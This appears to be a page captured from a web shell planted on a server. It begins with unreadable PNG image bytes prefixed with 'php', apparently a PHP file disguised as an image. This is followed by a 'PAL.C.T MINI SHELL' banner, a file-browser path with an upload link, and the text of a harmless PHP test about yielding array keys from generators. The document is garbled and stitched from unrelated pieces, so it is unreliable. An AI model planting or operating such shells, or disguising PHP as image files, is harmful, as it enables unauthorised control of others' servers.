php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /opt/php-7.0.1/Zend/tests/generators/
upload
files >> //opt/php-7.0.1/Zend/tests/generators/yield_array_key.phpt

--TEST--
Array keys can be yielded from generators
--FILE--
<?php

function gen() {
    yield [] => 1;
}

$gen = gen();
var_dump($gen->key());
var_dump($gen->current());

?>
--EXPECT--
array(0) {
}
int(1)
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